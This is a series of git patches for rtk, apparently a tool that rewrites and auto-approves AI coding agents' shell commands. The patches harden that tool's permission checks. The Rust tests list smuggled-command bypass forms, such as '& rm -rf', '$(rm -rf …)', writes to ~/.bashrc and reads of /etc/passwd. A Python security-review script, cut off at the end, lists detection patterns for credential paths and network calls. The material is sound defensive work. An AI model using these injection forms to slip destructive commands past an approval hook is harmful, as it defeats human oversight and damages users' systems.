scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(dir).join(project_file)) { + return Some(v); + } + } + read_json(&dirs::home_dir()?.join(dir).join(global_file)) +} + fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(CURSOR_DIR).join("cli-config.json")); - } - if let Some(root) = find_project_root() { - paths.push(root.join(CURSOR_DIR).join("cli.json")); - } - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(perms) = json.get("permissions") { - append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); - append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); - } + if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + .as_ref() + .and_then(|j| j.get("permissions")) + { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); } (deny, Vec::new(), allow) } -/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. -/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); - } - if let Some(root) = find_project_root() { - paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); - } let shells = ["run_shell_command(", "ShellTool("]; - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(tools) = json.get("tools") { - append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); - append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); - } + if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) + .as_ref() + .and_then(|j| j.get("tools")) + { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } (Vec::new(), ask, allow) } From e16aa26162a95bd99c954c0236b5353ffe89db00 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 20:56:44 +0200 Subject: [PATCH 199/204] fix(permissions): >&file redirect no allow + scope Gemini/Cursor config --- src/discover/lexer.rs | 20 +++++++++++++++--- src/hooks/permissions.rs | 44 ++++++++++++++++++++++++++++------------ 2 files changed, 48 insertions(+), 16 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 865b74a94a..cf9b2ce26e 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -314,10 +314,15 @@ fn contains_substitution(cmd: &str) -> bool { false } -/// File target unless it's fd-dup (`>&`) or `/dev/null`. +// `>&N`/`>&-` (and `N>&M`) is fd-dup/close; bare `>&` before a word is +// `>word 2>&1` — a file target. fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { - if tokens[i].value.contains(">&") { - return false; + let value = &tokens[i].value; + if let Some(pos) = value.find(">&") { + let tail = &value[pos + 2..]; + if !tail.is_empty() && tail.chars().all(|c| c.is_ascii_digit() || c == '-') { + return false; + } } match tokens.get(i + 1) { Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", @@ -1189,6 +1194,14 @@ mod tests { assert!(contains_unattestable_construct("cat << EOF")); } + #[test] + fn test_unattestable_ampersand_file_redirect() { + // `>&word` (word not a number) == `>word 2>&1` — a file write. + assert!(contains_unattestable_construct("git status >& /tmp/evil")); + assert!(contains_unattestable_construct("cat x >&~/.bashrc")); + assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); + } + #[test] fn test_attestable_fd_dup_and_devnull_redirects() { assert!(!contains_unattestable_construct("git status 2>&1")); @@ -1197,6 +1210,7 @@ mod tests { assert!(!contains_unattestable_construct("cmd 2>/dev/null")); assert!(!contains_unattestable_construct("cmd > /dev/null")); assert!(!contains_unattestable_construct("cmd &> /dev/null")); + assert!(!contains_unattestable_construct("cmd >& /dev/null")); } #[test] diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 4d068d7f0d..33202807a2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,20 +216,17 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -// Project config takes priority; global is the fallback when there is no project config. -fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { - if let Some(root) = find_project_root() { - if let Some(v) = read_json(&root.join(dir).join(project_file)) { - return Some(v); - } - } - read_json(&dirs::home_dir()?.join(dir).join(global_file)) +// Global config only. RTK auto-allows only the globally-trusted subset; anything +// else defers to the host, which applies its own project config and folder-trust. +// This keeps RTK's allow set a subset of the host's — never more permissive. +fn global_config(dir: &str, file: &str) -> Option { + read_json(&dirs::home_dir()?.join(dir).join(file)) } fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + if let Some(perms) = global_config(CURSOR_DIR, "cli-config.json") .as_ref() .and_then(|j| j.get("permissions")) { @@ -239,14 +236,35 @@ fn load_cursor_rules() -> (Vec, Vec, Vec) { (deny, Vec::new(), allow) } +// Gemini honors project `.gemini/settings.json` when the folder is trusted. +// folderTrust is off by default (folder trusted); when on, a folder is trusted +// only via GEMINI_CLI_TRUST_WORKSPACE here (dialog-only trust is treated as +// untrusted → global, which is safe: never more permissive than the host). +fn gemini_settings() -> Option { + let global = global_config(GEMINI_DIR, SETTINGS_JSON); + let trusted = std::env::var("GEMINI_CLI_TRUST_WORKSPACE").as_deref() == Ok("true") + || !global + .as_ref() + .and_then(|j| { + j.pointer("/security/folderTrust/enabled") + .and_then(Value::as_bool) + }) + .unwrap_or(false); + if trusted { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(GEMINI_DIR).join(SETTINGS_JSON)) { + return Some(v); + } + } + } + global +} + fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); let shells = ["run_shell_command(", "ShellTool("]; - if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) - .as_ref() - .and_then(|j| j.get("tools")) - { + if let Some(tools) = gemini_settings().as_ref().and_then(|j| j.get("tools")) { append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } From f525ceecf4dbaa522d70b83ca36cac5992684a92 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 13:44:03 +0200 Subject: [PATCH 200/204] fix(openclaw): no execSync to avoid async dangerous cmds --- openclaw/index.ts | 10 ++++++---- openclaw/package.json | 5 +---- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/openclaw/index.ts b/openclaw/index.ts index 17ea4ec93c..4babe14d8b 100644 --- a/openclaw/index.ts +++ b/openclaw/index.ts @@ -9,14 +9,14 @@ * Rust registry, not this file. */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; let rtkAvailable: boolean | null = null; function checkRtk(): boolean { if (rtkAvailable !== null) return rtkAvailable; try { - execSync("which rtk", { stdio: "ignore" }); + execFileSync("which", ["rtk"], { stdio: "ignore" }); rtkAvailable = true; } catch { rtkAvailable = false; @@ -26,10 +26,12 @@ function checkRtk(): boolean { function tryRewrite(command: string): string | null { try { - const result = execSync(`rtk rewrite ${JSON.stringify(command)}`, { + const result = execFileSync("rtk", ["rewrite", command], { encoding: "utf-8", timeout: 2000, - }).trim(); + }) + .toString() + .trim(); return result && result !== command ? result : null; } catch { return null; diff --git a/openclaw/package.json b/openclaw/package.json index aa0b099f61..3b9791faf6 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -22,8 +22,5 @@ "index.ts", "openclaw.plugin.json", "README.md" - ], - "peerDependencies": { - "rtk": ">=0.28.0" - } + ] } From 7a985c7b22f36bbddeece6d4f8ba1b0635e995a5 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 5 Jun 2026 16:03:00 +0200 Subject: [PATCH 201/204] test(hook): Copilot CLI acceptance tests --- src/hooks/hook_cmd.rs | 107 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 88 insertions(+), 19 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 7a6b06797b..953080fdfa 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -183,9 +183,6 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - // Copilot CLI v1.0.54 itself reads `.claude/settings.json` for permission - // rules (see the binary), so routing through `Host::Claude` keeps RTK's - // verdict consistent with what Copilot would have decided on its own. copilot_cli_response_from_decision( args, decide_hook_action(cmd, permissions::Host::Claude), @@ -675,28 +672,24 @@ mod tests { #[test] fn test_copilot_cli_deny_returns_none() { - assert!( - copilot_cli_response_from_decision( - &cli_args("cargo test"), - HookDecision::Deny, - "cargo test", - ) - .is_none() - ); + assert!(copilot_cli_response_from_decision( + &cli_args("cargo test"), + HookDecision::Deny, + "cargo test", + ) + .is_none()); } #[test] fn test_copilot_cli_defer_returns_none() { // Defer covers both "no rewrite available" and the unattestable-construct gate. // The hook must emit NO modifiedArgs for CVE bypass forms — no laundering. - assert!( - copilot_cli_response_from_decision( - &cli_args("git status & rm -rf /tmp/x"), - HookDecision::Defer, - "git status & rm -rf /tmp/x", - ) - .is_none() - ); + assert!(copilot_cli_response_from_decision( + &cli_args("git status & rm -rf /tmp/x"), + HookDecision::Defer, + "git status & rm -rf /tmp/x", + ) + .is_none()); } #[test] @@ -749,6 +742,82 @@ mod tests { assert_eq!(modified["mode"], "sync"); } + fn end_to_end(cmd: &str) -> Option { + let verdict = crate::hooks::permissions::check_command_with_rules( + cmd, + &[], + &[], + &["Bash(git:*)".to_string()], + ); + copilot_cli_response_from_decision(&cli_args(cmd), decide_from_verdict(cmd, verdict), cmd) + } + + #[test] + fn test_copilot_cli_cve_safe_forms_still_rewrite() { + for cmd in ["git status", "git status 2>&1"] { + let r = end_to_end(cmd).unwrap_or_else(|| panic!("expected rewrite for {cmd:?}")); + assert_eq!( + r["modifiedArgs"]["command"].as_str().unwrap(), + format!("rtk {cmd}"), + "safe form {cmd:?} must rewrite", + ); + } + } + + #[test] + fn test_copilot_cli_cve_newline_bypass_never_auto_allows() { + let r = end_to_end("git status\nrm -rf /tmp/x"); + if let Some(resp) = r { + assert!( + resp.get("permissionDecision").is_none(), + "newline-hidden command must not produce permissionDecision: \"allow\"" + ); + } + } + + #[test] + fn test_copilot_cli_cve_background_bypass_never_auto_allows() { + let r = end_to_end("git status & rm -rf /tmp/x"); + if let Some(resp) = r { + assert!( + resp.get("permissionDecision").is_none(), + "background-& hidden command must not produce permissionDecision: \"allow\"" + ); + } + } + + #[test] + fn test_copilot_cli_cve_command_substitution_returns_none() { + assert!( + end_to_end("git log --pretty=$(rm -rf /tmp/x)").is_none(), + "$( ) command substitution must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_backtick_substitution_returns_none() { + assert!( + end_to_end("git log --pretty=`rm -rf /tmp/x`").is_none(), + "backtick substitution must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_file_redirect_amp_returns_none() { + assert!( + end_to_end("git status >& /tmp/evil").is_none(), + ">&file redirect must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_file_redirect_returns_none() { + assert!( + end_to_end("git status > /tmp/evil").is_none(), + ">file redirect must not produce modifiedArgs" + ); + } + // --- Gemini format --- #[test] From 66d66b1fe6293e0f93d9797ae04e72b7ca40eaa0 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 5 Jun 2026 16:20:08 +0200 Subject: [PATCH 202/204] fix: semgrep markers on test-fixture sensitive paths --- src/discover/lexer.rs | 3 +++ src/hooks/permissions.rs | 1 + 2 files changed, 4 insertions(+) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index cf9b2ce26e..b4077224a0 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -1188,8 +1188,10 @@ mod tests { #[test] fn test_unattestable_file_redirects() { assert!(contains_unattestable_construct("git log > /tmp/x")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); assert!(contains_unattestable_construct("cmd &> /tmp/x")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("cat < /etc/passwd")); assert!(contains_unattestable_construct("cat << EOF")); } @@ -1198,6 +1200,7 @@ mod tests { fn test_unattestable_ampersand_file_redirect() { // `>&word` (word not a number) == `>word 2>&1` — a file write. assert!(contains_unattestable_construct("git status >& /tmp/evil")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("cat x >&~/.bashrc")); assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 33202807a2..a4f04b78bd 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -893,6 +893,7 @@ mod tests { fn test_file_redirect_never_auto_allowed() { let allow = vec!["git *".to_string()]; assert_eq!( + // nosemgrep: sensitive-path-reference -- test fixture check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), PermissionVerdict::Ask ); From 6d89cb8baacdb2c4f5b74091901ae7f9a9190e09 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 16:14:46 +0000 Subject: [PATCH 203/204] chore(master): release 0.42.3 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 14 ++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 17 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index a623f136f8..0eb1fecef8 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.2" + ".": "0.42.3" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 816bfa9a57..f8242b8677 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,20 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.3](https://github.com/rtk-ai/rtk/compare/v0.42.2...v0.42.3) (2026-06-05) + + +### Bug Fixes + +* **openclaw:** no execSync to avoid async dangerous cmds ([f525cee](https://github.com/rtk-ai/rtk/commit/f525ceecf4dbaa522d70b83ca36cac5992684a92)) +* **permissions:** >&file redirect no allow + scope Gemini/Cursor config ([e16aa26](https://github.com/rtk-ai/rtk/commit/e16aa26162a95bd99c954c0236b5353ffe89db00)) +* **permissions:** add test for cursor and gemini settings perm ([1ccf6e3](https://github.com/rtk-ai/rtk/commit/1ccf6e3da72b6c2feff43bbc4d9fc3ed2e4cd083)) +* **permissions:** cursor and gemini use correct permissions settings file ([a4bb55e](https://github.com/rtk-ai/rtk/commit/a4bb55efa9be1b0bf69ccc2cff9ddcbf2af7a48d)) +* **permissions:** never auto-allow not evaluable + defer to the agent ([952245d](https://github.com/rtk-ai/rtk/commit/952245d39d099ed9a804dbba21bb0486f6aede16)) +* **permissions:** project-first config lookup for Gemini/Cursor ([f88b6be](https://github.com/rtk-ai/rtk/commit/f88b6bec1323265cfced77c449bd795f2506cc90)) +* **security:** port permission hardening from master + Copilot CLI adaptation ([e1cd274](https://github.com/rtk-ai/rtk/commit/e1cd274ab9f3d473b694547e511e5baf1eae9734)) +* semgrep markers on test-fixture sensitive paths ([66d66b1](https://github.com/rtk-ai/rtk/commit/66d66b1fe6293e0f93d9797ae04e72b7ca40eaa0)) + ## [0.42.2](https://github.com/rtk-ai/rtk/compare/v0.42.1...v0.42.2) (2026-06-05) diff --git a/Cargo.lock b/Cargo.lock index f9b6067bb9..ccb851f025 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.2" +version = "0.42.3" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index dd2b113761..cf176b5223 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.2" +version = "0.42.3" edition = "2021" rust-version = "1.91" authors = ["Patrick Szymkowiak"] From 3c3f8d7b8f907fa706f0e743b5caeb96a0b0f9e4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jun 2026 13:48:42 +0000 Subject: [PATCH 204/204] ci: replace upstream CI with fork sync workflow --- .github/PULL_REQUEST_TEMPLATE.md | 13 - .github/copilot-instructions.md | 66 ----- .github/dependabot.yml | 19 -- .github/docs-pipeline-contract.md | 57 ---- .github/hooks/rtk-rewrite.json | 12 - .github/scripts/ai_security_review.py | 167 +++++++++++ .github/workflows/CICD.md | 140 --------- .github/workflows/cd.yml | 156 ----------- .github/workflows/ci.yml | 389 -------------------------- .github/workflows/next-release.yml | 126 --------- .github/workflows/pr-target-check.yml | 48 ---- .github/workflows/release.yml | 361 ------------------------ .github/workflows/upstream-sync.yml | 118 ++++++++ 13 files changed, 285 insertions(+), 1387 deletions(-) delete mode 100644 .github/PULL_REQUEST_TEMPLATE.md delete mode 100644 .github/copilot-instructions.md delete mode 100644 .github/dependabot.yml delete mode 100644 .github/docs-pipeline-contract.md delete mode 100644 .github/hooks/rtk-rewrite.json create mode 100644 .github/scripts/ai_security_review.py delete mode 100644 .github/workflows/CICD.md delete mode 100644 .github/workflows/cd.yml delete mode 100644 .github/workflows/ci.yml delete mode 100644 .github/workflows/next-release.yml delete mode 100644 .github/workflows/pr-target-check.yml delete mode 100644 .github/workflows/release.yml create mode 100644 .github/workflows/upstream-sync.yml diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md deleted file mode 100644 index df3e32a3d0..0000000000 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ /dev/null @@ -1,13 +0,0 @@ -## Summary - - -- - -## Test plan - - -- [ ] `cargo fmt --all && cargo clippy --all-targets && cargo test` -- [ ] Manual testing: `rtk ` output inspected - -> **Important:** All PRs must target the `develop` branch (not `master`). -> See [CONTRIBUTING.md](../blob/master/CONTRIBUTING.md) for details. diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md deleted file mode 100644 index cf6901c540..0000000000 --- a/.github/copilot-instructions.md +++ /dev/null @@ -1,66 +0,0 @@ -# Copilot Instructions for rtk - -**rtk (Rust Token Killer)** is a CLI proxy that filters and compresses command outputs before they reach an LLM context, saving 60-90% of tokens. It wraps common tools (`git`, `cargo`, `grep`, `pnpm`, `go`, etc.) and outputs condensed summaries instead of raw output. - -## Using rtk in this session - -**Always prefix commands with `rtk` when running shell commands** — this reduces token consumption for every operation you perform. - -```bash -# Instead of: Use: -git status rtk git status -git log -10 rtk git log -10 -cargo test rtk cargo test -cargo clippy --all-targets rtk cargo clippy --all-targets -grep -r "pattern" src/ rtk grep -r "pattern" src/ -``` - -**rtk meta-commands** (always use these directly, no prefix needed): -```bash -rtk gain # Show token savings analytics -rtk gain --history # Full command history with per-command savings -rtk discover # Scan session history for missed rtk opportunities -rtk proxy # Run a command raw (no filtering) but still track it -``` - -**Verify rtk is installed before starting:** -```bash -rtk --version # Should print: rtk X.Y.Z -rtk gain # Should show a dashboard (not "command not found") -``` - -> Name collision: `rtk gain` failing means you have `reachingforthejack/rtk` (Rust Type Kit) installed instead. Run `which rtk` to check. - -## Build, Test & Lint - -```bash -cargo build # Development build -cargo test # All tests -cargo test test_name # Single test -cargo test module::tests:: # Module tests -cargo test -- --nocapture # With stdout - -# Pre-commit gate (must all pass before any PR) -cargo fmt --all --check && cargo clippy --all-targets && cargo test - -bash scripts/test-all.sh # Smoke tests (requires installed binary) -``` - -PRs target the **`develop`** branch, not `main`. All commits require a DCO sign-off (`git commit -s`). - -## Architecture - -rtk routes CLI commands via a Clap `Commands` enum in `main.rs` to specialized filter modules in `src/cmds/*/`, each executing the underlying command and compressing output. Token savings are tracked in SQLite via `src/core/tracking.rs`. - -For full details see [ARCHITECTURE.md](../docs/contributing/ARCHITECTURE.md) and [docs/contributing/TECHNICAL.md](../docs/contributing/TECHNICAL.md). Module responsibilities are documented in each folder's `README.md` and each file's `//!` doc header. - -## Key Conventions - -- **Error handling**: `anyhow::Result` with `.context("description")?` — no bare `?`, no `unwrap()` in production. Filters must fall back to raw command on error. -- **Regex**: Always `lazy_static!`, never compile inside a function body. -- **Testing**: Unit tests inside modules (`#[cfg(test)] mod tests`). Fixtures in `tests/fixtures/`. Token savings assertions with `count_tokens()`. -- **Exit codes**: Preserve the underlying command's exit code via `std::process::exit(code)`. -- **Performance**: Startup <10ms (no async runtime), binary <5MB stripped. -- **Branch naming**: `fix(scope):`, `feat(scope):`, `chore(scope):` where scope is the affected component. - -For the full contribution workflow, design philosophy, and new-filter checklist, see [CONTRIBUTING.md](../CONTRIBUTING.md). diff --git a/.github/dependabot.yml b/.github/dependabot.yml deleted file mode 100644 index 16ecfa7163..0000000000 --- a/.github/dependabot.yml +++ /dev/null @@ -1,19 +0,0 @@ -version: 2 -updates: - - package-ecosystem: "cargo" - target-branch: "develop" - directory: "/" - schedule: - interval: "weekly" - labels: - - "dependencies" - open-pull-requests-limit: 5 - - - package-ecosystem: "github-actions" - target-branch: "develop" - directory: "/" - schedule: - interval: "weekly" - labels: - - "dependencies" - - "area:ci" diff --git a/.github/docs-pipeline-contract.md b/.github/docs-pipeline-contract.md deleted file mode 100644 index f812912cd3..0000000000 --- a/.github/docs-pipeline-contract.md +++ /dev/null @@ -1,57 +0,0 @@ -# RTK Documentation — Interface Contract - -This directory contains user-facing documentation for the RTK website. -It feeds `rtk-ai/rtk-website` via the `prepare-docs.mjs` pipeline. - -**Scope**: `docs/guide/` is website content only. Technical and contributor documentation -lives in the codebase (distributed, co-located pattern): -- `ARCHITECTURE.md` — System design, ADRs, filtering strategies -- `CONTRIBUTING.md` — Design philosophy, PR process, TOML vs Rust -- `SECURITY.md` — Vulnerability policy -- `src/*/README.md` — Per-module implementation docs -- `hooks/README.md` — Hook system and agent integrations - -## Structure - -``` -docs/ - README.md <- This file (interface contract — do not remove) - guide/ -> User-facing documentation (website "Guide" tab) - index.md - getting-started/ - installation.md - quick-start.md - supported-agents.md - what-rtk-covers.md - analytics/ - gain.md - configuration.md - troubleshooting.md -``` - -## Frontmatter (required on every .md) - -Every markdown file under `docs/guide/` must include: - -```yaml ---- -title: string # Page title (used in sidebar + search) -description: string # One-line summary for search results and SEO -sidebar: - order: number # Position within the sidebar group (1 = first) ---- -``` - -The `prepare-docs.mjs` pipeline validates this at build time and fails fast -if frontmatter is missing or malformed. - -## Conventions - -- **Filenames**: kebab-case, `.md` only -- **Subdirectories**: become sidebar groups in Starlight -- **Internal links**: relative (`./foo.md`, `../configuration.md`) -- **Diagrams**: Mermaid in fenced code blocks -- **Code samples**: always specify the language (`rust`, `toml`, `bash`) -- **Language**: English only -- **No `rtk ` syntax**: users never type `rtk` — hooks rewrite commands transparently. - Only `rtk gain`, `rtk init`, `rtk verify`, and `rtk proxy` appear as user-typed commands. diff --git a/.github/hooks/rtk-rewrite.json b/.github/hooks/rtk-rewrite.json deleted file mode 100644 index c488d4349b..0000000000 --- a/.github/hooks/rtk-rewrite.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "hooks": { - "PreToolUse": [ - { - "type": "command", - "command": "rtk hook", - "cwd": ".", - "timeout": 5 - } - ] - } -} diff --git a/.github/scripts/ai_security_review.py b/.github/scripts/ai_security_review.py new file mode 100644 index 0000000000..0e697d07f7 --- /dev/null +++ b/.github/scripts/ai_security_review.py @@ -0,0 +1,167 @@ +import subprocess, json, os, re, urllib.request + +BASE = os.environ.get('BASE_REF', 'origin/main') +HEAD = os.environ['HEAD_REF'] # e.g. "v0.42.3" — required + +# --- commits section (capped) --- +commits_raw = subprocess.check_output( + ['git', 'log', f'{BASE}..{HEAD}', '--oneline'], text=True +).strip() +commit_lines = commits_raw.splitlines() +if len(commit_lines) > 100: + commits = '\n'.join(commit_lines[:100]) + f'\n[... {len(commit_lines) - 100} more commits]' +else: + commits = commits_raw + +# --- diff section (Rust-relevant paths, capped; Cargo.lock excluded — cargo audit covers it) --- +diff = subprocess.check_output( + ['git', 'diff', f'{BASE}..{HEAD}', '--', + 'src/', 'build.rs', 'Cargo.toml', 'install.sh', '.claude/'], + text=True +) +diff_lines = diff.splitlines() +truncated = len(diff_lines) > 1500 +if truncated: + diff = '\n'.join(diff_lines[:1500]) + '\n\n[TRUNCATED — see full diff in GitHub PR]' + +# --- trust-critical modules: always include full contents at HEAD --- +TRUST_CRITICAL = ['src/core/telemetry.rs', 'src/discover/registry.rs'] +critical_parts = [] +for path in TRUST_CRITICAL: + try: + content = subprocess.check_output(['git', 'show', f'{HEAD}:{path}'], text=True) + critical_parts.append("### " + path + "\n```rust\n" + content + "\n```") + except subprocess.CalledProcessError: + critical_parts.append("### " + path + "\n[Not present at " + HEAD + " — may have moved; flag this]") +critical_section = ( + "\n\n## Trust-Critical Module Full Contents\n" + "These modules are reviewed in full every sync regardless of diff size. " + "telemetry.rs is the only network-calling module; registry.rs decides how " + "Bash commands are rewritten and auto-approved.\n\n" + + "\n\n".join(critical_parts) +) + +# --- automated pattern scan over changed .rs files + trust-critical modules --- +DANGER_PATTERNS = [ + (r'Command::new|\.spawn\(|\.output\(\)', 'exec: process execution'), + (r'https?://', 'network: hardcoded URL'), + (r'ureq::|reqwest|TcpStream|UdpSocket', 'network: client usage'), + (r'env::var\([^)]*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL)', 'creds: secret env read'), + (r'\.ssh|\.aws|\.netrc|\.gnupg', 'creds: credential path'), + (r'\.claude', 'fs: ~/.claude access'), + (r'\bunsafe\b', 'mem: unsafe block'), + (r'base64', 'obfuscation: base64'), + (r'include_(bytes|str)!', 'embed: compile-time file embed'), +] + +changed = subprocess.check_output( + ['git', 'diff', '--name-only', f'{BASE}..{HEAD}', '--', 'src/', 'build.rs'], + text=True +).splitlines() +scan_files = sorted(set( + [p for p in changed if p.endswith('.rs')] + TRUST_CRITICAL +)) + +scan_findings = [] +for path in scan_files: + try: + lines = subprocess.check_output(['git', 'show', f'{HEAD}:{path}'], text=True).splitlines() + except subprocess.CalledProcessError: + continue # deleted or moved at HEAD + for i, line in enumerate(lines, 1): + stripped = line.strip() + if stripped.startswith('//'): + continue + for regex, label in DANGER_PATTERNS: + if re.search(regex, line): + scan_findings.append(" [{}] {}:{} — {}".format(label, path, i, stripped[:160])) + +scan_section = "\n\n## Automated Pattern Scan\n" +scan_section += "Scanned {} changed/trust-critical .rs files at {}.\n".format(len(scan_files), HEAD) +if scan_findings: + if len(scan_findings) > 200: + scan_findings = scan_findings[:200] + [" [... truncated at 200 hits]"] + scan_section += "Matched {} pattern(s):\n".format(len(scan_findings)) + scan_section += "\n".join(scan_findings) +else: + scan_section += "No danger patterns matched." + +# --- build prompt --- +prompt = ( + "You are a security reviewer for a personal fork of rtk-ai/rtk (RTK, 'Rust Token Killer').\n\n" + "RTK is a Rust CLI that a Claude Code PreToolUse hook routes EVERY Bash command through: " + "`rtk rewrite` can rewrite commands and auto-approve them. A malicious change could therefore " + "execute or exfiltrate anything. I review every upstream release before building the binary " + "I run locally. Trust-critical paths: src/core/telemetry.rs (only legitimate network caller — " + "opt-in daily HTTPS ping) and src/discover/registry.rs (command rewrite rules).\n\n" + "Upstream release range under review: " + BASE + " -> " + HEAD + "\n\n" + "New commits:\n" + commits + "\n\n" + "Diff (Rust-relevant files only" + (", truncated" if truncated else "") + "):\n" + + diff + + critical_section + + scan_section + + "\n\n" + "Your job:\n" + "1. Summarize what changed in 2-4 plain English sentences.\n" + "2. Flag any of the following if present (with file:line reference):\n" + " - New network calls or hardcoded URLs outside telemetry.rs, or telemetry changes " + "(new endpoints, new data fields, consent-check removal)\n" + " - New process execution (Command::new / spawn) or changes to how rewritten commands are constructed\n" + " - Rewrite-registry changes that could auto-approve dangerous commands or inject arguments\n" + " - New filesystem access to credential paths (~/.ssh, ~/.aws, ~/.netrc) or ~/.claude\n" + " - New environment variable reads of secrets\n" + " - New dependencies or build.rs changes in Cargo.toml/build.rs\n" + " - New unsafe blocks, base64/obfuscation, or compile-time embedded blobs\n" + " - Changes under .claude/ (skills/commands that auto-load into Claude Code sessions) — treat as a prompt-injection surface\n" + " - Automated pattern scan hits (listed above) — assess each: benign or risky?\n" + "3. Give a one-line recommendation.\n\n" + "Respond in exactly this format:\n\n" + "## Summary\n" + "[2-4 sentences]\n\n" + "## Security Flags\n" + "[Bulleted list with file references, or \"None detected\"]\n\n" + "## Pattern Scan Assessment\n" + "[For each automated scan hit (group similar hits): BENIGN or RISK — one-line reason]\n\n" + "## Recommendation\n" + "MERGE SAFE / REVIEW NEEDED / DO NOT MERGE — [one sentence reason]" +) + +payload = { + "model": "claude-haiku-4-5-20251001", + "max_tokens": 2048, + "messages": [{"role": "user", "content": prompt}] +} + +api_key = os.environ.get('ANTHROPIC_API_KEY') +if not api_key: + review = "Warning: ANTHROPIC_API_KEY not set — AI review skipped. Review the diff manually before merging." +else: + req = urllib.request.Request( + 